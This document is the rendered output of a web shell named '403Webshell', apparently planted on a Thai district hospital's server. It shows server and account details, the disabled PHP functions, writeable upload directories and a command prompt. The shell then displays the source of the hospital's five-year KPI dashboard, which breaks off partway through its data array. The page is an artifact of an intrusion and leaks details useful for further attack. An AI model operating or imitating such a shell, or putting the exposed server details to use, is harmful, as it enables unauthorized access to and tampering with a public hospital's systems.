403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/papayom_php_dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/papayom_php_dashboard/dashboard.php
<?php
require_once __DIR__ . '/auth/check_auth.php';
?>
<!DOCTYPE html>
<html lang="th">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard ยุทธศาสตร์ รพ.ป่าพะยอม 2566–2570</title>
<style>
:root{
  --primary:#1a5276; --pl:#2e86c1; --sec:#117a65; --acc:#d68910;
  --danger:#c0392b; --ok:#1e8449; --warn:#d35400; --bg:#eef2f7;
  --card:#fff; --text:#1c2833; --muted:#5d6d7e; --border:#d5d8dc;
}
*{box-sizing:border-box;margin:0;padding:0;}
body{font-family:'Segoe UI','Noto Sans Thai',sans-serif;background:var(--bg);color:var(--text);font-size:14px;}
.hdr{background:linear-gradient(135deg,var(--primary),var(--pl));color:#fff;padding:18px 22px 14px;}
.hdr h1{font-size:20px;font-weight:800;margin-bottom:3px;}
.hdr p{font-size:12px;opacity:.85;}
.hdr-meta{display:flex;flex-wrap:wrap;gap:10px;margin-top:10px;}
.hbadge{background:rgba(255,255,255,.15);border-radius:20px;padding:3px 12px;font-size:11px;}
.ybar{background:var(--primary);display:flex;align-items:center;overflow-x:auto;border-top:1px solid rgba(255,255,255,.2);}
.ybar-label{color:rgba(255,255,255,.6);font-size:12px;padding:0 14px;white-space:nowrap;}
.ytab{padding:10px 20px;color:rgba(255,255,255,.7);cursor:pointer;font-size:13px;font-weight:700;border-bottom:3px solid transparent;white-space:nowrap;transition:.2s;}
.ytab:hover{color:#fff;background:rgba(255,255,255,.1);}
.ytab.active{color:#fff;border-bottom-color:#f1c40f;background:rgba(255,255,255,.18);}
.tabs{display:flex;background:#154360;overflow-x:auto;}
.tab{padding:9px 15px;color:rgba(255,255,255,.7);cursor:pointer;font-size:12px;border-bottom:3px solid transparent;white-space:nowrap;transition:.2s;}
.tab:hover{color:#fff;}.tab.active{color:#fff;border-bottom-color:var(--acc);}
.container{max-width:1440px;margin:0 auto;padding:18px 14px;}
.section{display:none;}.section.active{display:block;}
.grid2{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:14px;}
.grid4{display:grid;grid-template-columns:repeat(auto-fit,minmax(180px,1fr));gap:10px;}
.grid5{display:grid;grid-template-columns:repeat(5,1fr);gap:8px;}
.card{background:var(--card);border-radius:10px;padding:15px;box-shadow:0 1px 5px rgba(0,0,0,.08);margin-bottom:14px;}
.card-title{font-size:14px;font-weight:700;color:var(--primary);margin-bottom:12px;}
.sbox{background:var(--card);border-radius:10px;padding:14px;text-align:center;box-shadow:0 1px 5px rgba(0,0,0,.08);border-top:4px solid var(--primary);}
.sbox.g{border-top-color:var(--ok);}.sbox.y{border-top-color:var(--acc);}.sbox.r{border-top-color:var(--danger);}.sbox.b{border-top-color:var(--pl);}
.snum{font-size:30px;font-weight:800;color:var(--primary);}
.snum.g{color:var(--ok);}.snum.y{color:var(--acc);}.snum.r{color:var(--danger);}
.slabel{font-size:11px;color:var(--muted);margin-top:3px;}
.pw{margin-bottom:9px;}.pl{display:flex;justify-content:space-between;font-size:12px;margin-bottom:3px;}
.pb{height:9px;background:#e3e8f0;border-radius:99px;overflow:hidden;}
.pf{height:100%;border-radius:99px;transition:width .4s;}
.pf.ok{background:var(--ok);}.pf.w{background:var(--acc);}.pf.d{background:var(--danger);}.pf.b{background:var(--pl);}
.tbl{width:100%;border-collapse:collapse;font-size:12px;}
.tbl th{background:var(--primary);color:#fff;padding:7px 9px;text-align:left;font-weight:600;}
.tbl td{padding:7px 9px;border-bottom:1px solid var(--border);vertical-align:middle;}
.tbl tr:hover td{background:#f0f5fb;}.tbl tr:last-child td{border-bottom:none;}
.tbl-wrap{overflow-x:auto;}
.badge{display:inline-block;padding:2px 8px;border-radius:20px;font-size:10px;font-weight:700;}
.bs{background:#d5f5e3;color:var(--ok);}.bw{background:#fef9e7;color:var(--warn);}
.bd{background:#fce4e4;color:var(--danger);}.bi{background:#d6eaf8;color:var(--pl);}.bn{background:#eaecee;color:var(--muted);}
.yr-input{width:82px;padding:3px 6px;border:1px solid var(--border);border-radius:5px;font-size:11px;font-family:inherit;text-align:center;}
.yr-input:focus{outline:2px solid var(--pl);border-color:var(--pl);}
.yr-sel{width:90px;padding:3px 4px;border:1px solid var(--border);border-radius:5px;font-size:10px;font-family:inherit;}
.ycard{border-radius:8px;padding:10px 8px;text-align:center;cursor:pointer;transition:.2s;border:2px solid transparent;}
.ycard:hover{transform:translateY(-2px);box-shadow:0 4px 12px rgba(0,0,0,.15);}
.ycard.sel{border-color:#fff;box-shadow:0 0 0 3px var(--acc);}
.ycard-yr{font-size:13px;font-weight:800;color:#fff;}
.ycard-pct{font-size:22px;font-weight:800;color:#fff;margin-top:4px;}
.ycard-sub{font-size:10px;color:rgba(255,255,255,.8);margin-top:2px;}
.vbox{background:linear-gradient(135deg,var(--primary),var(--pl));color:#fff;border-radius:12px;padding:20px;margin-bottom:14px;text-align:center;}
.vtxt{font-size:18px;font-weight:700;margin:8px 0;}
.mgrid{display:grid;grid-template-columns:repeat(auto-fit,minmax(170px,1fr));gap:10px;margin-top:10px;}
.mc{background:rgba(255,255,255,.15);border-radius:9px;padding:10px;text-align:center;}
.mc-code{font-size:22px;font-weight:800;opacity:.85;}.mc-title{font-size:12px;margin-top:2px;}.mc-desc{font-size:10px;opacity:.7;margin-top:3px;}
.sc{border-left:4px solid;border-radius:0 9px 9px 0;padding:12px;margin-bottom:9px;}
.sc.p1{border-color:var(--danger);background:#fef9f9;}.sc.p2{border-color:var(--warn);background:#fef6ee;}
.sc.p3{border-color:var(--pl);background:#ebf5fb;}.sc.p4{border-color:var(--sec);background:#eafaf1;}
.sc.p5{border-color:var(--acc);background:#fdfae7;}.sc.p6{border-color:#8e44ad;background:#f9f0ff;}
.sc.p7{border-color:#2e4057;background:#f0f2f5;}
.sc-code{font-size:10px;font-weight:700;color:var(--muted);margin-bottom:3px;}
.sc-name{font-size:13px;font-weight:700;}.sc-desc{font-size:11px;color:var(--muted);margin-top:3px;}
.upd-time{font-size:10px;color:var(--muted);}
.sbtn{padding:4px 10px;background:var(--ok);color:#fff;border:none;border-radius:6px;cursor:pointer;font-size:11px;font-weight:700;}
.sbtn:hover{background:#145a32;}.sbtn.saved{background:var(--pl);}
.ebtn{padding:3px 8px;background:var(--acc);color:#fff;border:none;border-radius:5px;cursor:pointer;font-size:10px;font-weight:700;}
.overlay{display:none;position:fixed;inset:0;background:rgba(0,0,0,.5);z-index:999;align-items:center;justify-content:center;}
.overlay.open{display:flex;}
.modal{background:#fff;border-radius:14px;padding:22px;width:92%;max-width:660px;max-height:92vh;overflow-y:auto;box-shadow:0 8px 40px rgba(0,0,0,.3);}
.modal h3{color:var(--primary);margin-bottom:14px;}
.fg{margin-bottom:12px;}.fg label{display:block;font-size:11px;font-weight:700;color:var(--muted);margin-bottom:3px;}
.fg input,.fg select,.fg textarea{width:100%;padding:7px 10px;border:1px solid var(--border);border-radius:7px;font-size:12px;font-family:inherit;}
.fg textarea{height:60px;resize:vertical;}
.btn-row{display:flex;gap:8px;justify-content:flex-end;margin-top:14px;}
.btn{padding:7px 18px;border-radius:7px;border:none;cursor:pointer;font-size:12px;font-weight:700;}
.btn-pri{background:var(--primary);color:#fff;}.btn-sec{background:#eaecee;color:var(--text);}.btn-sav{background:var(--ok);color:#fff;}
.log-item{display:flex;gap:10px;padding:7px 0;border-bottom:1px solid var(--border);font-size:11px;}
.log-item:last-child{border-bottom:none;}
.log-dot{width:7px;height:7px;border-radius:50%;margin-top:3px;flex-shrink:0;}
@media(max-width:640px){.grid4{grid-template-columns:1fr 1fr;}.grid5{grid-template-columns:1fr 1fr;}.hdr h1{font-size:16px;}}
</style>
</head>
<body>

<div style="background:#0f2d40;color:#fff;padding:10px 16px;display:flex;justify-content:space-between;align-items:center;gap:12px;flex-wrap:wrap;">
  <div style="font-size:13px;font-weight:700;">ผู้ใช้งาน: <?php echo htmlspecialchars($_SESSION['full_name'] ?? ''); ?> | สิทธิ์: <?php echo htmlspecialchars($_SESSION['role'] ?? ''); ?></div>
  <div style="display:flex;gap:8px;align-items:center;">
    <a href="logout.php" style="color:#fff;text-decoration:none;background:rgba(255,255,255,.12);padding:6px 12px;border-radius:8px;font-size:12px;">ออกจากระบบ</a>
  </div>
</div>


<div class="hdr">
  <h1>🏥 Dashboard ยุทธศาสตร์ โรงพยาบาลป่าพะยอม</h1>
  <p>แผนยุทธศาสตร์ระยะ 5 ปี | พ.ศ. 2566–2570 | ฉบับปรับปรุงปีงบประมาณ 2569</p>
  <div class="hdr-meta">
    <span class="hbadge">📍 อ.ป่าพะยอม จ.พัทลุง</span>
    <span class="hbadge">🏨 โรงพยาบาลชุมชน 45 เตียง</span>
    <span class="hbadge">👥 ประชากร 26,186 คน</span>
    <span class="hbadge" id="curDate">📅 —</span>
  </div>
</div>

<div class="ybar">
  <span class="ybar-label">📅 ปีงบประมาณที่แสดง:</span>
  <div class="ytab active" onclick="setYear(2566,this)">2566</div>
  <div class="ytab" onclick="setYear(2567,this)">2567</div>
  <div class="ytab" onclick="setYear(2568,this)">2568</div>
  <div class="ytab" onclick="setYear(2569,this)">2569</div>
  <div class="ytab" onclick="setYear(2570,this)">2570</div>
</div>

<div class="tabs">
  <div class="tab active" onclick="showTab('overview')">🏠 ภาพรวม</div>
  <div class="tab" onclick="showTab('compare')">📊 เปรียบเทียบ 5 ปี</div>
  <div class="tab" onclick="showTab('vision')">🎯 วิสัยทัศน์ & ยุทธศาสตร์</div>
  <div class="tab" onclick="showTab('p1')">🔴 P1 ลดเจ็บป่วยรายใหม่</div>
  <div class="tab" onclick="showTab('p2')">🟠 P2 ลดป่วยตาย</div>
  <div class="tab" onclick="showTab('p3')">🔵 P3 เทคโนโลยี</div>
  <div class="tab" onclick="showTab('p4')">🟢 P4 มาตรฐานคุณภาพ</div>
  <div class="tab" onclick="showTab('p567')">🟡 P5–P7</div>
  <div class="tab" onclick="showTab('entry')">✏️ บันทึกข้อมูล</div>
</div>

<!-- ══ OVERVIEW ══ -->
<div id="tab-overview" class="section active">
<div class="container">
  <div style="background:linear-gradient(90deg,var(--primary),var(--pl));color:#fff;border-radius:10px;padding:11px 16px;margin-bottom:14px;display:flex;align-items:center;gap:12px;flex-wrap:wrap;">
    <span style="font-size:14px;font-weight:700;">📅 แสดงข้อมูลปีงบประมาณ:</span>
    <span id="ov-yr-badge" style="background:rgba(255,255,255,.2);border-radius:20px;padding:4px 16px;font-size:18px;font-weight:800;">2566</span>
    <span style="font-size:11px;opacity:.8;">(เปลี่ยนได้ที่แถบสีน้ำเงินด้านบน)</span>
  </div>
  <div class="grid4" style="margin-bottom:14px;">
    <div class="sbox b"><div class="snum" id="ov-total">60</div><div class="slabel">ตัวชี้วัดทั้งหมด</div></div>
    <div class="sbox g"><div class="snum g" id="ov-ok">—</div><div class="slabel">✅ บรรลุเป้าหมาย</div></div>
    <div class="sbox y"><div class="snum y" id="ov-w">—</div><div class="slabel">⚠️ ใกล้เคียงเป้าหมาย</div></div>
    <div class="sbox r"><div class="snum r" id="ov-d">—</div><div class="slabel">❌ ต้องปรับปรุง</div></div>
  </div>
  <div class="grid2">
    <div class="card"><div class="card-title">📈 ความก้าวหน้าตามเป้าประสงค์ ปี <span class="ov-yr-lbl">2566</span></div><div id="ov-progress"></div></div>
    <div class="card"><div class="card-title">🕐 บันทึกล่าสุด</div><div id="ov-log"></div></div>
  </div>
  <div class="card">
    <div class="card-title">📋 สรุปตัวชี้วัดรายเป้าประสงค์ — ปี <span class="ov-yr-lbl">2566</span></div>
    <div class="tbl-wrap"><table class="tbl">
      <thead><tr><th>เป้าประสงค์</th><th>KPI ทั้งหมด</th><th style="color:#a9dfbf">✅</th><th style="color:#f9e79f">⚠️</th><th style="color:#f1948a">❌</th><th style="color:#aed6f1">📋</th><th>ยังไม่บันทึก</th><th>% บรรลุ</th></tr></thead>
      <tbody id="ov-summary"></tbody>
    </table></div>
  </div>
</div>
</div>

<!-- ══ COMPARE ══ -->
<div id="tab-compare" class="section">
<div class="container">
  <div class="card">
    <div class="card-title">📊 เปรียบเทียบผลการดำเนินงานครบทุกปีงบประมาณ (2566–2570)</div>
    <p style="font-size:11px;color:var(--muted);margin-bottom:10px;">ตารางนี้แสดงผลจริงทุกปีพร้อมกัน — บันทึกข้อมูลได้ที่แท็บ "✏️ บันทึกข้อมูล"</p>
    <div class="tbl-wrap"><table class="tbl" id="cmp-table">
      <thead><tr>
        <th>#</th><th>กลุ่ม</th><th style="min-width:200px;">ตัวชี้วัด</th><th>ผู้รับผิดชอบ</th>
        <th style="min-width:80px;">2566</th><th style="min-width:80px;">2567</th>
        <th style="min-width:80px;">2568</th><th style="min-width:80px;">2569</th><th style="min-width:80px;">2570</th>
      </tr></thead>
      <tbody id="cmp-body"></tbody>
    </table></div>
  </div>
</div>
</div>

<!-- ══ VISION ══ -->
<div id="tab-vision" class="section">
<div class="container">
  <div class="vbox">
    <div style="font-size:11px;opacity:.7;">วิสัยทัศน์ 2566–2570</div>
    <div class="vtxt">🌟 "โรงพยาบาลชุมชนเป็นเลิศ ด้านระบบบริการสุขภาพ ระดับภาคใต้"</div>
    <div style="font-size:12px;margin-top:6px;opacity:.85;">ค่านิยม MOPH · รับผิดชอบต่อหน้าที่ · มีสิ่งใหม่ · ใส่ใจประชาชน · ถ่อมตนอ่อนน้อม</div>
    <div class="mgrid">
      <div class="mc"><div class="mc-code">M1</div><div class="mc-title">เป็นเลิศ</div><div class="mc-desc">พัฒนาระบบบริการสุขภาพให้ทันสมัย มีประสิทธิภาพและธรรมาภิบาล</div></div>
      <div class="mc"><div class="mc-code">M2</div><div class="mc-title">ระบบบริการสุขภาพ</div><div class="mc-desc">บริการสุขภาพองค์รวมครบวงจรในผู้ป่วยโรคเรื้อรังและผู้สูงอายุ</div></div>
      <div class="mc"><div class="mc-code">M3</div><div class="mc-title">ภาคใต้</div><div class="mc-desc">ศักยภาพดูแลผู้ป่วยเป็นเลิศ มีความมั่นคงทางการเงินระดับภาคใต้</div></div>
    </div>
  </div>
  <div class="card"><div class="card-title">🎯 เป้าประสงค์เชิงกลยุทธ์ 3N4S</div>
    <div class="sc p1"><div class="sc-code">P1 · No New</div><div class="sc-name">ลดการเจ็บป่วยรายใหม่ในโรคยุทธศาสตร์ทุกกลุ่มวัย</div><div class="sc-desc">DM, HT, Stroke, COPD/Asthma, ACS, DHF, Depression, TB, HIV, Sepsis</div></div>
    <div class="sc p2"><div class="sc-code">P2 · No Death</div><div class="sc-name">ลดการป่วยตายในโรคยุทธศาสตร์ในทุกกลุ่มวัย</div><div class="sc-desc">EMS, Fast Track, Sepsis Bundle, การจัดการโรคเรื้อรัง</div></div>
    <div class="sc p3"><div class="sc-code">P3 · New Normal</div><div class="sc-name">ระบบเทคโนโลยีและสารสนเทศได้มาตรฐานสากล (HAIT/HIMSS)</div></div>
    <div class="sc p4"><div class="sc-code">P4 · Standardization</div><div class="sc-name">หน่วยบริการทุกระดับผ่านเกณฑ์คุณภาพ</div><div class="sc-desc">HA, NCD Clinic Award, Easy Asthma Clinic, Green & Clean Hospital, EMS</div></div>
    <div class="sc p5"><div class="sc-code">P5 · Smart Health Network</div><div class="sc-name">เพิ่มศักยภาพภาคีเครือข่ายในการส่งเสริม ป้องกัน และควบคุมโรคระดับอำเภอ</div></div>
    <div class="sc p6"><div class="sc-code">P6 · Smart Management</div><div class="sc-name">โรงพยาบาลมีเสถียรภาพด้านการเงินการคลัง</div></div>
    <div class="sc p7"><div class="sc-code">P7 · Smart Staff</div><div class="sc-name">บุคลากรเป็นเลิศ — สมรรถนะ ความสุข บริหารความเสี่ยงเชิงรุก</div></div>
  </div>
</div>
</div>

<!-- ══ P1 ══ -->
<div id="tab-p1" class="section"><div class="container">
  <div class="card"><div class="card-title" style="color:var(--danger);">🔴 P1: ลดการเจ็บป่วยรายใหม่ — ปีงบประมาณ <span class="cur-yr-lbl">2566</span></div>
  <div class="tbl-wrap"><table class="tbl"><thead id="p1-head"></thead><tbody id="p1-body"></tbody></table></div></div>
</div></div>

<!-- ══ P2 ══ -->
<div id="tab-p2" class="section"><div class="container">
  <div class="card"><div class="card-title" style="color:var(--warn);">🟠 P2: ลดการป่วยตาย — ปีงบประมาณ <span class="cur-yr-lbl">2566</span></div>
  <div class="tbl-wrap"><table class="tbl"><thead id="p2-head"></thead><tbody id="p2-body"></tbody></table></div></div>
</div></div>

<!-- ══ P3 ══ -->
<div id="tab-p3" class="section"><div class="container">
  <div class="card"><div class="card-title" style="color:var(--pl);">🔵 P3: เทคโนโลยี & สารสนเทศ — ปีงบประมาณ <span class="cur-yr-lbl">2566</span></div>
  <div class="tbl-wrap"><table class="tbl"><thead id="p3-head"></thead><tbody id="p3-body"></tbody></table></div></div>
</div></div>

<!-- ══ P4 ══ -->
<div id="tab-p4" class="section"><div class="container">
  <div class="card"><div class="card-title" style="color:var(--sec);">🟢 P4: มาตรฐานคุณภาพ — ปีงบประมาณ <span class="cur-yr-lbl">2566</span></div>
  <div class="tbl-wrap"><table class="tbl"><thead id="p4-head"></thead><tbody id="p4-body"></tbody></table></div></div>
</div></div>

<!-- ══ P5-P7 ══ -->
<div id="tab-p567" class="section"><div class="container">
  <div class="card"><div class="card-title" style="color:var(--acc);">🟡 P5–P7: เครือข่าย · การเงิน · บุคลากร — ปี <span class="cur-yr-lbl">2566</span></div>
  <div class="tbl-wrap"><table class="tbl"><thead id="p567-head"></thead><tbody id="p567-body"></tbody></table></div></div>
</div></div>

<!-- ══ ENTRY ══ -->
<div id="tab-entry" class="section"><div class="container">
  <div style="background:linear-gradient(90deg,var(--sec),#1abc9c);color:#fff;border-radius:10px;padding:12px 16px;margin-bottom:14px;display:flex;align-items:center;gap:12px;flex-wrap:wrap;">
    <span style="font-size:14px;font-weight:700;">✏️ บันทึกผลการดำเนินงาน — ปี</span>
    <span id="entry-yr-badge" style="background:rgba(255,255,255,.25);border-radius:20px;padding:4px 16px;font-size:18px;font-weight:800;">2566</span>
    <span style="font-size:11px;opacity:.85;">(เลือกปีที่แถบด้านบน)</span>
  </div>

  <!-- 5-year strip -->
  <div class="grid5" id="yr-strip" style="margin-bottom:14px;"></div>

  <div class="card"><div class="card-title">🔍 ค้นหาตัวชี้วัด</div>
    <input type="text" id="searchQ" placeholder="พิมพ์ชื่อตัวชี้วัด, กลุ่ม P1–P7, ผู้รับผิดชอบ..." oninput="renderEntry()"
      style="width:100%;padding:8px 12px;border:1px solid var(--border);border-radius:8px;font-size:13px;font-family:inherit;">
  </div>

  <div class="card">
    <div style="display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px;margin-bottom:10px;">
      <div class="card-title" style="margin-bottom:0;">📝 บันทึกผลปี <span id="entry-yr-lbl">2566</span></div>
      <button class="btn btn-pri" onclick="saveAll()" style="font-size:12px;padding:6px 16px;">💾 บันทึกทั้งหมดในหน้านี้</button>
    </div>
    <p style="font-size:11px;color:var(--muted);margin-bottom:10px;">กรอกผลจริง → เลือกสถานะ → กด 💾 บันทึก (ทีละแถว) หรือปุ่มด้านบนสำหรับบันทึกทั้งหมด</p>
    <div class="tbl-wrap"><table class="tbl">
      <thead><tr>
        <th>#</th><th>กลุ่ม</th><th style="min-width:200px;">ตัวชี้วัด</th>
        <th style="min-width:100px;">เป้าหมายปีนี้</th>
        <th style="min-width:100px;">ผลจริง</th>
        <th style="min-width:100px;">สถานะ</th>
        <th style="min-width:120px;">หมายเหตุ</th>
        <th>ผู้รับผิดชอบ</th>
        <th>บันทึกล่าสุด</th>
        <th>บันทึก</th>
      </tr></thead>
      <tbody id="entry-body"></tbody>
    </table></div>
  </div>
</div></div>

<!-- ══ MODAL ══ -->
<div class="overlay" id="editModal">
  <div class="modal">
    <h3 id="modal-title">✏️ แก้ไขตัวชี้วัด</h3>
    <input type="hidden" id="m-id"><input type="hidden" id="m-yr">
    <div class="fg"><label>ตัวชี้วัด</label><textarea id="m-name" readonly style="background:#f4f6f8;height:50px;"></textarea></div>
    <div class="fg"><label>เป้าหมาย</label><input id="m-target" readonly style="background:#f4f6f8;"></div>
    <div class="fg"><label>ปีงบประมาณ</label><input id="m-yr-show" readonly style="background:#fffde7;font-weight:800;font-size:14px;"></div>
    <div class="fg"><label>ผลจริง *</label><input id="m-actual" placeholder="กรอกผลการดำเนินงานจริง..."></div>
    <div class="fg"><label>สถานะ *</label>
      <select id="m-status">
        <option value="">— ยังไม่บันทึก —</option>
        <option value="ok">✅ บรรลุเป้าหมาย</option>
        <option value="w">⚠️ ใกล้เคียงเป้าหมาย</option>
        <option value="d">❌ ต้องปรับปรุง</option>
        <option value="i">📋 อยู่ระหว่างดำเนินการ</option>
      </select>
    </div>
    <div class="fg"><label>หมายเหตุ / แนวทางแก้ไข</label><textarea id="m-note" placeholder="ระบุรายละเอียด..."></textarea></div>
    <div class="btn-row">
      <button class="btn btn-sec" onclick="closeModal()">ยกเลิก</button>
      <button class="btn btn-sav" onclick="saveModal()">💾 บันทึก</button>
    </div>
  </div>
</div>

<script>
// ══════════════════════════════════════════════════════════
// KPI MASTER DATA  (60 ตัวชี้วัด)
// target[i] = ปี [2566, 2567, 2568, 2569, 2570]
// ══════════════════════════════════════════════════════════
const YEARS=[2566,2567,2568,2569,2570];
const YI={2566:0,2567:1,2568:2,2569:3,2570:4};
const YCOL=['#1a5276','#117a65','#6c3483','#d35400','#1a252f'];

const KPI=[
 // P1
 {id:1,g:'P1',sub:'DM',name:'อัตราผู้ป่วยเบาหวานรายใหม่ในกลุ่มเสี่ยง',t:['n/a','1.8%','1.7%','1.9%','1.5%'],bl:'1.77%',ow:'ศศิธร'},
 {id:2,g:'P1',sub:'DM',name:'ร้อยละการตรวจติดตามยืนยันวินิจฉัยกลุ่มสงสัยป่วยเบาหวาน',t:['n/a','≥80%','≥80%','≥80%','≥95%'],bl:'70.96%',ow:'สาลี'},
 {id:3,g:'P1',sub:'HT',name:'อัตราผู้ป่วยความดันโลหิตสูงรายใหม่ในกลุ่มเสี่ยง',t:['n/a','3%','2.5%','3.5%','1.5%'],bl:'3.65%',ow:'ศศิธร'},
 {id:4,g:'P1',sub:'HT',name:'ร้อยละการตรวจติดตามยืนยันวินิจฉัยกลุ่มสงสัยป่วยความดันโลหิตสูง',t:['n/a','≥80%','≥85%','≥80%','≥95%'],bl:'98.56%',ow:'สาลี'},
 {id:5,g:'P1',sub:'Stroke',name:'อัตราการเจ็บป่วยรายใหม่ Stroke ในผู้ป่วยกลุ่ม HT, DM (<1%)',t:['1.5%','1.4%','1.3%','1.5%','1.0%'],bl:'1.84%',ow:'จำรูญศรี'},
 {id:6,g:'P1',sub:'COPD',name:'อัตราป่วยรายใหม่ COPD (<5 ต่อแสนประชากร)',t:['5','5','5','5','5'],bl:'0',ow:'กมลวรรณ'},
 {id:7,g:'P1',sub:'COPD',name:'อัตราป่วยรายใหม่ Asthma (<5 ต่อแสนประชากร)',t:['5','5','5','5','5'],bl:'n/a',ow:'กมลวรรณ'},
 {id:8,g:'P1',sub:'ACS',name:'อัตราการเจ็บป่วยรายใหม่ ACS ในกลุ่มเสี่ยง HT,DM,DLP (<0.2%)',t:['0.5%','0.4%','0.3%','0.5%','0.2%'],bl:'0.43%',ow:'จำรูญศรี'},
 {id:9,g:'P1',sub:'Head Injury',name:'ร้อยละความสำเร็จมาตรการป้องกันจุดเสี่ยง',t:['n/a','60%','70%','50%','100%'],bl:'n/a',ow:'จำรูญศรี'},
 {id:10,g:'P1',sub:'Head Injury',name:'ร้อยละความสำเร็จมาตรการขับขี่ปลอดภัย (สวมหมวกนิรภัย)',t:['60%','70%','80%','60%','100%'],bl:'50%',ow:'จำรูญศรี'},
 {id:11,g:'P1',sub:'DHF',name:'อัตราป่วยไข้เลือดออกต่อแสนประชากร (ต.ป่าพะยอม)',t:['50','50','50','50','50'],bl:'0',ow:'สาลี'},
 {id:12,g:'P1',sub:'DHF',name:'ค่าลูกน้ำยุงลาย HI<10, CI=0',t:['<10/0','<10/0','<10/0','<10/0','<10/0'],bl:'n/a',ow:'สาลี'},
 {id:13,g:'P1',sub:'Depression',name:'ร้อยละผู้ป่วยซึมเศร้าเข้าถึงบริการสุขภาพจิต (เพิ่มขึ้น ≥5%/ปี)',t:['75%','80%','85%','75%','95%'],bl:'70.58%',ow:'มนสิชา'},
 {id:14,g:'P1',sub:'TB',name:'อัตราสำเร็จการรักษาวัณโรคปอดรายใหม่ (≥85%)',t:['≥85%','≥85%','≥85%','≥85%','≥85%'],bl:'≥85%',ow:'เสาวณีย์'},
 {id:15,g:'P1',sub:'TB',name:'อัตราการเกิดวัณโรครายใหม่จากกลุ่มสัมผัสผู้ป่วย (=0)',t:['0','0','0','0','0'],bl:'0',ow:'เสาวณีย์'},
 {id:16,g:'P1',sub:'HIV',name:'ร้อยละผู้เข้ารับบริการที่แนะนำและเริ่มใช้ PrEP/PEP',t:['55%','65%','75%','55%','95%'],bl:'n/a',ow:'สุวิทย์'},
 {id:17,g:'P1',sub:'Sepsis',name:'อัตราการติดเชื้อในโรงพยาบาล (<0.5 ต่อ 1,000 วันนอน)',t:['0.5','0.5','0.5','0.5','0.4'],bl:'0',ow:'อรวรรณ'},
 {id:18,g:'P1',sub:'Sepsis',name:'ร้อยละการได้รับ Antibiotic ภายใน 1 ชม. ผู้ป่วย Sepsis (≥90%)',t:['90%','90%','90%','90%','90%'],bl:'88%',ow:'อรวรรณ'},
 // P2
 {id:19,g:'P2',sub:'DM',name:'อัตราภาวะแทรกซ้อนในผู้ป่วยเบาหวาน (<5%)',t:['5%','4%','3%','5%','1%'],bl:'2.2%',ow:'ศศิธร'},
 {id:20,g:'P2',sub:'DM',name:'ร้อยละผู้ป่วยเบาหวานควบคุมน้ำตาลได้ดี (>40%)',t:['40%','41%','42%','40%','44%'],bl:'28.18%',ow:'ศศิธร'},
 {id:21,g:'P2',sub:'DM',name:'อัตราการขาดนัดผู้ป่วยเบาหวาน (<5%)',t:['5%','4.5%','4%','5%','3%'],bl:'4.51%',ow:'ศศิธร'},
 {id:22,g:'P2',sub:'DM',name:'อัตราผู้ป่วยเบาหวานมาก่อนนัดด้วยภาวะน้ำตาลต่ำ (<5%)',t:['5%','4.5%','4%','5%','3%'],bl:'2.47%',ow:'ศศิธร'},
 {id:23,g:'P2',sub:'HT',name:'อัตราภาวะแทรกซ้อนรายใหม่ในผู้ป่วย HT (<5%)',t:['5%','4%','3%','5%','1%'],bl:'0.66%',ow:'ศศิธร'},
 {id:24,g:'P2',sub:'HT',name:'ร้อยละผู้ป่วย HT ควบคุม BP ได้ดี (>70%)',t:['68%','69%','70%','68%','72%'],bl:'68.58%',ow:'ศศิธร'},
 {id:25,g:'P2',sub:'HT',name:'อัตราการขาดนัดผู้ป่วย HT (<5%)',t:['9%','8%','7%','9%','5%'],bl:'9.4%',ow:'ศศิธร'},
 {id:26,g:'P2',sub:'Stroke',name:'อัตราผู้ป่วย Stroke มาด้วยระบบ EMS (>50%)',t:['20%','30%','40%','20%','50%'],bl:'4.2%',ow:'จำรูญศรี'},
 {id:27,g:'P2',sub:'Stroke',name:'อัตราผู้ป่วย Stroke มาถึง รพ. ภายใน 3 ชม. (>50%)',t:['40%','42%','46%','40%','50%'],bl:'36.9%',ow:'จำรูญศรี'},
 {id:28,g:'P2',sub:'Stroke',name:'Stroke Fast Tract ส่งต่อภายใน 30 นาที (>80%)',t:['40%','50%','60%','40%','80%'],bl:'33.3%',ow:'จำรูญศรี'},
 {id:29,g:'P2',sub:'Stroke',name:'Stroke รายใหม่ได้รับการติดตามครบ 6 เดือน (>80%)',t:['100%','100%','100%','100%','100%'],bl:'95%',ow:'ทิพวรรณ'},
 {id:30,g:'P2',sub:'COPD',name:'อัตราป่วยตายด้วย COPD ในโรงพยาบาล (<5)',t:['5','4','3','5','1'],bl:'n/a',ow:'กมลวรรณ'},
 {id:31,g:'P2',sub:'COPD',name:'อัตราป่วยตายด้วย Asthma ในโรงพยาบาล (<5)',t:['5','4','3','5','1'],bl:'n/a',ow:'กมลวรรณ'},
 {id:32,g:'P2',sub:'ACS',name:'อัตราผู้ป่วย ACS มาด้วยระบบ EMS (>50%)',t:['20%','25%','30%','20%','50%'],bl:'12.5%',ow:'จำรูญศรี'},
 {id:33,g:'P2',sub:'ACS',name:'อัตราผู้ป่วย ACS มาถึง รพ. ภายใน 3 ชม. (≥80%)',t:['85%','90%','95%','85%','100%'],bl:'81.25%',ow:'จำรูญศรี'},
 {id:34,g:'P2',sub:'ACS',name:'อัตราผู้ป่วย ACS ได้รับ EKG วินิจฉัยภายใน 10 นาที',t:['85%','90%','95%','85%','100%'],bl:'82.35%',ow:'จำรูญศรี'},
 {id:35,g:'P2',sub:'DHF',name:'อัตราการป่วยตาย DHF (=0)',t:['0','0','0','0','0'],bl:'0',ow:'กมลวรรณ'},
